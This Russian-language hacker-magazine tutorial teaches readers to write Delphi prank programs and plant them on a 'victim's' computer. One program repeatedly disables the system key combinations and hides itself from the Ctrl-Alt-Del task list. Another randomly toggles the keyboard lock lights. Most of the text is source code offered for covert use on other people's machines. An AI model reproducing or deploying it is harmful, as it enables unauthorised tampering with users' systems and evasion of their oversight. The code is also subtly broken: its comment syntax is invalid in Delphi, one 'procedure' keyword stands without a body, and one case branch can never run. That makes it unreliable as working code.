Ну а теперь продолжение нашего западлостроения на Дельфи. Теперь мы будем баловаться с клавиатурой.

Прога 1. Отключаем служебные комбинации клавиш

Для начала запусти Дельфи, выбери в меню Project--> View Source и набери вот это:

program antiklava;

uses Windows;
begin
end.

Так, основа готова. Теперь надо добавить ядро программы и объявления переменных:

program antiklava;
uses Windows; /* подключение необходимых модулей */
var
klava:boolean; /* объявление логической переменной */
begin
klava:=true; /* устанавливаем значение переменной */
while true do /* начинаем бесконечный цикл */
begin
Yield; /* делаем так, чтобы всё не подвисло :)*/
Sleep(2*60*1000); /* ничего не делаем 2 минуты */
klava:=not klava; /* присваиваем переменной противоположное значение */
if klava then SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0) /* отключаем служебные комбинации клавиш */
else
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0); 
end;
end.

Теперь готово, жми на СTRL-F9, и спеши подсовывать прогу врагу. Однако у нашей программы есть недостаток: хоть мы и запираем клаву, юзер всё равно сможет сбить нашу прогу CTRL-ALT-DEL. Непорядок... Будем исправлять. А исправить это можно двумя способами:
1. Отключить нажатие "трёх веселых кнопок".
2. Сделать так, чтобы наша прога не видна была через эти самые клавиши.

Первый способ заключается в самой проге, а для второго нужно вызвать функцию RegisterServiceProcess:

program antiklava;

uses Windows; /* подключение необходимых модулей */
var
klava:boolean; /* объявление логической переменной */
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
klava:=true; /* устанавливаем значение переменной */
RegisterServiceProcess(GetCurrentProcessID, 1); 
while true do /* начинаем бесконечный цикл */
begin
Yield; /* делаем так, чтобы всё не подвисло :)*/
Sleep(2*60*1000); /* ничего не делаем 2 минуты */
klava:=not klava; /* присваиваем переменной противоположное значение */
if klava then SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0) /* отключаем служебные комбинации клавиш */
else
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0); 

end;
end.

И всё! Мы не видны через CTRL-ALT-DEL.

Прога 2. "Ой, а почему лампочки мигают?"

Как вы уже догадались, мы будем играться с Lock`ами. А именно с Num Lock, Caps Lock, Scroll Lock. Чтобы эти лампочки весело перемигивались, им надо помочь!

Сделай знакомые уже тебе действия в Дельфях, и набивай это:

program locks;
uses Windows; /* подключаем необходимые модули */
var
ks:TKeyboardState; /* объявляем переменную состояния клавиатуры */
i:integer; /* объявляем целочисленную переменную */

procedure

begin
while true do
begin
Yield;
Sleep(3*60*1000);
GetKeyboardState(ks); /* получаем состояние клавиатуры */
i:=Random(2);
case i of
0:KS[020] := KS[020] XOR 1;
1:KS[144] := KS[144] XOR 1;
2:KS[145] := KS[145] XOR 1;
end;
SetKeyboardState(ks);
end;
end.

Ну вот, всё что нам осталось - CTRL-F9. В следующих выпусках будет больше инфы и примеров. До следующей заподлянки!

P.S. Большинство примеров написано на Win32 API. Если кто-нибудь захочет переписать их под любой другой язык
программирования, знайте - это не возбраняется.

Check Also

Дырявые диски. Эксплуатируем уязвимости в сетевых хранилищах Synology

Защита данных, приватность и соответствие нормам безопасного хранения информации — то, над…

Оставить мнение